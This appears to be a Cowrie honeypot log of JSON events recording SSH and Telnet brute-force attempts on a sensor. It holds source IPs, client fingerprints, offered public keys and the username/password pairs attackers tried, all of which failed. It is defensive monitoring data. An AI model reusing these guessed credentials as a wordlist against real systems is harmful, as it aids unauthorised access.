{"eventid":"cowrie.login.failed","username":"root","fingerprint":"61:ef:73:a3:49:e8:e4:54:a2:15:a6:02:9d:78:69:2e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDGkP0f0E9jJ1kBEYVAFXhTu891C0ngA4Tg5UkXAZ246p3y+5ogf40VP8FvB0ObIOIxNM3xLaT0BULLr/d2LhABOGA1nVhhHhDDDpS6sHwjvNjY1lmOlHEvHHrscNjMjqTKnzUOEbL+Tqsg5z+f2XlFlAN3TNVDpk/GS/X+Rzn4sdL2wBkmA3JTLG23qxUcd3IinP9o9tumGW39c7v1sNWTtVl38XqfSt0LQC5kIkCE9YdFWMVKTI6+IBKKkN7B4uOmv1NxRiDk2j32wUg0FnMtgC374sMoSnFKgtFpziGmLsn3W7BiLj9duCoE9huPhgniIVxDCTLuH2Q4K70hveKP","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:11:45.913524Z","src_ip":"185.165.242.225","session":"317f87df2efd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:11:45.995592Z","src_ip":"185.165.242.225","session":"317f87df2efd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"143.198.154.150","src_port":42756,"dst_ip":"159.203.135.109","dst_port":23,"session":"6762a72c676c","protocol":"telnet","message":"New connection: 143.198.154.150:42756 (159.203.135.109:23) [session: 6762a72c676c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:11:46.020335Z"}
{"eventid":"cowrie.session.closed","duration":0.004270792007446289,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:11:46.024378Z","src_ip":"143.198.154.150","session":"6762a72c676c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"83.118.107.46","src_port":45638,"dst_ip":"10.17.0.5","dst_port":22,"session":"71b54686f127","protocol":"ssh","message":"New connection: 83.118.107.46:45638 (10.17.0.5:22) [session: 71b54686f127]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:12:18.882866Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:12:18.887669Z","src_ip":"83.118.107.46","session":"71b54686f127","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:12:19.141365Z","src_ip":"83.118.107.46","session":"71b54686f127","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"unitedstates!!!","message":"login attempt [root/unitedstates!!!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:12:19.910745Z","src_ip":"83.118.107.46","session":"71b54686f127","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:12:21.166664Z","src_ip":"83.118.107.46","session":"71b54686f127","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.44.20.34","src_port":58846,"dst_ip":"10.17.0.5","dst_port":22,"session":"af9e45455410","protocol":"ssh","message":"New connection: 188.44.20.34:58846 (10.17.0.5:22) [session: af9e45455410]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:12:31.327973Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:12:31.332309Z","src_ip":"188.44.20.34","session":"af9e45455410","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:12:31.452967Z","src_ip":"188.44.20.34","session":"af9e45455410","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b5:5c:54:d2:1f:4c:71:4e:2f:f9:93:59:df:ef:6d:34","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDMW7elsbR8oP2r/2XZ3LOPlTeEwYEAJEBST3VXdGgTB2CwNNFDckNMAECalZu3WkXoSN7YOejV8v3foWsKKHrkY0thXenkJ8rAnVbZI4+sO2zbdhRx4DT0Zmy+JmwGG4ZPeEaYMNj0tMMRt53Cv7M1u4jPjSN//coIIwaR68+MDL9T91tcSZWq3IaE14LtazXh8A9hTDgbjbLMkQdFIOytkv3EV2Y/U6KRoQY93DkFPJs7NxTrU/FzX2FC07yxnkvVKhULjxi6VD8ovNZRBOLp8y+BxiBfCcyCiaDXtMjVwd3LwY2t8+yprwpJgbUGk79bdGf1iNgsFvHiSdN/t8Nh","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b5:5c:54:d2:1f:4c:71:4e:2f:f9:93:59:df:ef:6d:34","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:12:32.036686Z","src_ip":"188.44.20.34","session":"af9e45455410","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b5:5c:54:d2:1f:4c:71:4e:2f:f9:93:59:df:ef:6d:34","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDMW7elsbR8oP2r/2XZ3LOPlTeEwYEAJEBST3VXdGgTB2CwNNFDckNMAECalZu3WkXoSN7YOejV8v3foWsKKHrkY0thXenkJ8rAnVbZI4+sO2zbdhRx4DT0Zmy+JmwGG4ZPeEaYMNj0tMMRt53Cv7M1u4jPjSN//coIIwaR68+MDL9T91tcSZWq3IaE14LtazXh8A9hTDgbjbLMkQdFIOytkv3EV2Y/U6KRoQY93DkFPJs7NxTrU/FzX2FC07yxnkvVKhULjxi6VD8ovNZRBOLp8y+BxiBfCcyCiaDXtMjVwd3LwY2t8+yprwpJgbUGk79bdGf1iNgsFvHiSdN/t8Nh","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:12:32.044227Z","src_ip":"188.44.20.34","session":"af9e45455410","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9a:8e:11:ae:fd:42:e3:ca:48:e6:70:d2:2c:a5:41:68","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCqH8Pgvh9JSdz7ZTijumL/xHOjk41YUkzbb4+WQuz+axlZ1t7W301AnmMZulu48vlQFPjlXiyJRVuTjJtGFqoXrpkgzGLjKvMBejirYvrT3yCbLlF5UoXmqs1TLYto/X5JYjkvkeH4iylM+SlnOZtBD9ctxYVZAcmbheA9VHVfbnnMIxFycvr00mhXLQHu+/GnoxIXnPT0gxA47bz+rgcf5AvKe+pmE5OSz09MsbgZNN6HtS/5D5IUYRcD/k9fWlfaz3CjOjwJs1UPnE9e2QH/ysiO7rTdDHY6EwVQn2wmXvJkkkaBwaKSh/trqDhL3Y4I1KwsZHRp/7x+9UD6I8aL","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9a:8e:11:ae:fd:42:e3:ca:48:e6:70:d2:2c:a5:41:68","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:12:32.164488Z","src_ip":"188.44.20.34","session":"af9e45455410","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9a:8e:11:ae:fd:42:e3:ca:48:e6:70:d2:2c:a5:41:68","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCqH8Pgvh9JSdz7ZTijumL/xHOjk41YUkzbb4+WQuz+axlZ1t7W301AnmMZulu48vlQFPjlXiyJRVuTjJtGFqoXrpkgzGLjKvMBejirYvrT3yCbLlF5UoXmqs1TLYto/X5JYjkvkeH4iylM+SlnOZtBD9ctxYVZAcmbheA9VHVfbnnMIxFycvr00mhXLQHu+/GnoxIXnPT0gxA47bz+rgcf5AvKe+pmE5OSz09MsbgZNN6HtS/5D5IUYRcD/k9fWlfaz3CjOjwJs1UPnE9e2QH/ysiO7rTdDHY6EwVQn2wmXvJkkkaBwaKSh/trqDhL3Y4I1KwsZHRp/7x+9UD6I8aL","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:12:32.166949Z","src_ip":"188.44.20.34","session":"af9e45455410","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d5:d9:29:7d:05:33:b9:1c:46:f8:51:a6:3b:0a:78:93","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC6oWldTGns3gFAyRRZecch5lxt/b/uzwGt/MoxellYMFUANqHIOp93Bfh071cpCW2Iz0EFQeRXG5PcrVIl9KbvUrYhw/YkJeexbhKlN6xg5t/NGlZiCUVv5vKsugsrrNBfMkP69kFLibdqBxS64FxlM7M+FRw/5Kd3pbOLKgFw3krsI1xnhdxVjXKoYFz+I2QUt3UBb6Af/FywGkQI50pXjvrqTXmhOrLM/e5aniafy6cDGNxMKqmw6ifBn087LFSMsLhb9HGqFP61hSL4Kzt4MJD9ojFRwGJ4vlAaQSttUngkH+Tq2MRch+A8UVHMmBkm6+w5TWVm0MwRelBcuEtN","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d5:d9:29:7d:05:33:b9:1c:46:f8:51:a6:3b:0a:78:93","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:12:32.292269Z","src_ip":"188.44.20.34","session":"af9e45455410","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d5:d9:29:7d:05:33:b9:1c:46:f8:51:a6:3b:0a:78:93","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC6oWldTGns3gFAyRRZecch5lxt/b/uzwGt/MoxellYMFUANqHIOp93Bfh071cpCW2Iz0EFQeRXG5PcrVIl9KbvUrYhw/YkJeexbhKlN6xg5t/NGlZiCUVv5vKsugsrrNBfMkP69kFLibdqBxS64FxlM7M+FRw/5Kd3pbOLKgFw3krsI1xnhdxVjXKoYFz+I2QUt3UBb6Af/FywGkQI50pXjvrqTXmhOrLM/e5aniafy6cDGNxMKqmw6ifBn087LFSMsLhb9HGqFP61hSL4Kzt4MJD9ojFRwGJ4vlAaQSttUngkH+Tq2MRch+A8UVHMmBkm6+w5TWVm0MwRelBcuEtN","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:12:32.294786Z","src_ip":"188.44.20.34","session":"af9e45455410","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0f:5a:f4:73:0e:c4:f7:71:ea:40:73:49:fb:02:69:5c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCiYNDGDrggQqyu6O5dcFZ3qfOQGZotoujh6tnZUTMC59yFxWnt3/F2iaFJSRq3wPyfU4tI7RTvM+6xjvOmaQwAjqC8s393RcPCdO3tsenaR10EfauNlhjhscAR6xlwhcDHsByA+5iz4e3kuryc1tXG5iCcQyJpDyFAGEV3rZ9RExHc2pHEfNs8qaHT01HqJ184DM3MaUsq1lFqiiRIJIHcqGH7bqkY4WyaXV2BQZ87PJoduyLTyeD+V7UV7ot+q0PQ0XXVY8utC6o5qiyiGcalI1udqr8ytI8dfhKQ2dFafFiynhf57e9hLheTsE5Esbd8VKTlT3wBblEIA64YULuqeBhS1mH9wtAhzEBUa7r+3vwjXHhx6RVSu/swrSD2272V1aw/PLf5HJ7vIjlBJY/rWTn4EIqqWE8JhlvCGEwbV0YiNAeUzc5Nn6wkBSqLlTN7BJdB2gTJsryXTXJf1/UUCamCpwwbzGed7q1hZSSJe0iv+x48unHVkCui58Oj0SM=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 0f:5a:f4:73:0e:c4:f7:71:ea:40:73:49:fb:02:69:5c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:12:32.415321Z","src_ip":"188.44.20.34","session":"af9e45455410","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0f:5a:f4:73:0e:c4:f7:71:ea:40:73:49:fb:02:69:5c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCiYNDGDrggQqyu6O5dcFZ3qfOQGZotoujh6tnZUTMC59yFxWnt3/F2iaFJSRq3wPyfU4tI7RTvM+6xjvOmaQwAjqC8s393RcPCdO3tsenaR10EfauNlhjhscAR6xlwhcDHsByA+5iz4e3kuryc1tXG5iCcQyJpDyFAGEV3rZ9RExHc2pHEfNs8qaHT01HqJ184DM3MaUsq1lFqiiRIJIHcqGH7bqkY4WyaXV2BQZ87PJoduyLTyeD+V7UV7ot+q0PQ0XXVY8utC6o5qiyiGcalI1udqr8ytI8dfhKQ2dFafFiynhf57e9hLheTsE5Esbd8VKTlT3wBblEIA64YULuqeBhS1mH9wtAhzEBUa7r+3vwjXHhx6RVSu/swrSD2272V1aw/PLf5HJ7vIjlBJY/rWTn4EIqqWE8JhlvCGEwbV0YiNAeUzc5Nn6wkBSqLlTN7BJdB2gTJsryXTXJf1/UUCamCpwwbzGed7q1hZSSJe0iv+x48unHVkCui58Oj0SM=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:12:32.417278Z","src_ip":"188.44.20.34","session":"af9e45455410","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"95:75:6a:07:06:aa:d1:02:e7:e1:a9:a4:18:93:0b:87","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDGIElEnFu9Ddj6cA1qaKLazUABB+RXL7vDrsCB2/f+JGFyTUP4YNyUYYZnmYoq/p+5DTGmb3aCHU53sEHXjZquI6e46pJOD6e2QKwRlUiA+GB0wAjzWdJOvWDeCjPCCA7Fug+HgvNMpLBSs6ftoOuyaJ9Mwkg00loLVfc2fziUy6/LK/65RMTKaqu5gL5rzxaWKapCH9w0c8uP9NxBCQWWOF9hzcygos5EvJkCMFbps5PQxUApVO+7yeEnhTMCdufFQmro7zCzlVftoUCtPnihAeFEe8XqkajfIVFzz4HvDWxfHqJr+n4+4Ski82m9aYVNPBLTmmCcJRnUfUuHJjFX","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 95:75:6a:07:06:aa:d1:02:e7:e1:a9:a4:18:93:0b:87","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:12:32.536718Z","src_ip":"188.44.20.34","session":"af9e45455410","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"95:75:6a:07:06:aa:d1:02:e7:e1:a9:a4:18:93:0b:87","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDGIElEnFu9Ddj6cA1qaKLazUABB+RXL7vDrsCB2/f+JGFyTUP4YNyUYYZnmYoq/p+5DTGmb3aCHU53sEHXjZquI6e46pJOD6e2QKwRlUiA+GB0wAjzWdJOvWDeCjPCCA7Fug+HgvNMpLBSs6ftoOuyaJ9Mwkg00loLVfc2fziUy6/LK/65RMTKaqu5gL5rzxaWKapCH9w0c8uP9NxBCQWWOF9hzcygos5EvJkCMFbps5PQxUApVO+7yeEnhTMCdufFQmro7zCzlVftoUCtPnihAeFEe8XqkajfIVFzz4HvDWxfHqJr+n4+4Ski82m9aYVNPBLTmmCcJRnUfUuHJjFX","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:12:32.539351Z","src_ip":"188.44.20.34","session":"af9e45455410","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:12:32.659731Z","src_ip":"188.44.20.34","session":"af9e45455410","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.255.62.89","src_port":46058,"dst_ip":"10.17.0.5","dst_port":22,"session":"0e5fd10efd34","protocol":"ssh","message":"New connection: 50.255.62.89:46058 (10.17.0.5:22) [session: 0e5fd10efd34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:12:48.881710Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:12:48.884664Z","src_ip":"50.255.62.89","session":"0e5fd10efd34","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:12:48.975541Z","src_ip":"50.255.62.89","session":"0e5fd10efd34","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"unitedstates!@#","message":"login attempt [root/unitedstates!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:12:49.224927Z","src_ip":"50.255.62.89","session":"0e5fd10efd34","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:12:50.311598Z","src_ip":"50.255.62.89","session":"0e5fd10efd34","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.108.61","src_port":46888,"dst_ip":"10.17.0.5","dst_port":22,"session":"a18ad49439ac","protocol":"ssh","message":"New connection: 144.91.108.61:46888 (10.17.0.5:22) [session: a18ad49439ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:13:04.704732Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:13:04.708423Z","src_ip":"144.91.108.61","session":"a18ad49439ac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:13:04.800320Z","src_ip":"144.91.108.61","session":"a18ad49439ac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hungary","password":"Budapest#Ethereum@S3cur3","message":"login attempt [hungary/Budapest#Ethereum@S3cur3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:13:05.086259Z","src_ip":"144.91.108.61","session":"a18ad49439ac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:13:06.181406Z","src_ip":"144.91.108.61","session":"a18ad49439ac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.154.235.21","src_port":45192,"dst_ip":"10.17.0.5","dst_port":22,"session":"912938b1c68d","protocol":"ssh","message":"New connection: 122.154.235.21:45192 (10.17.0.5:22) [session: 912938b1c68d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:13:18.910090Z"}
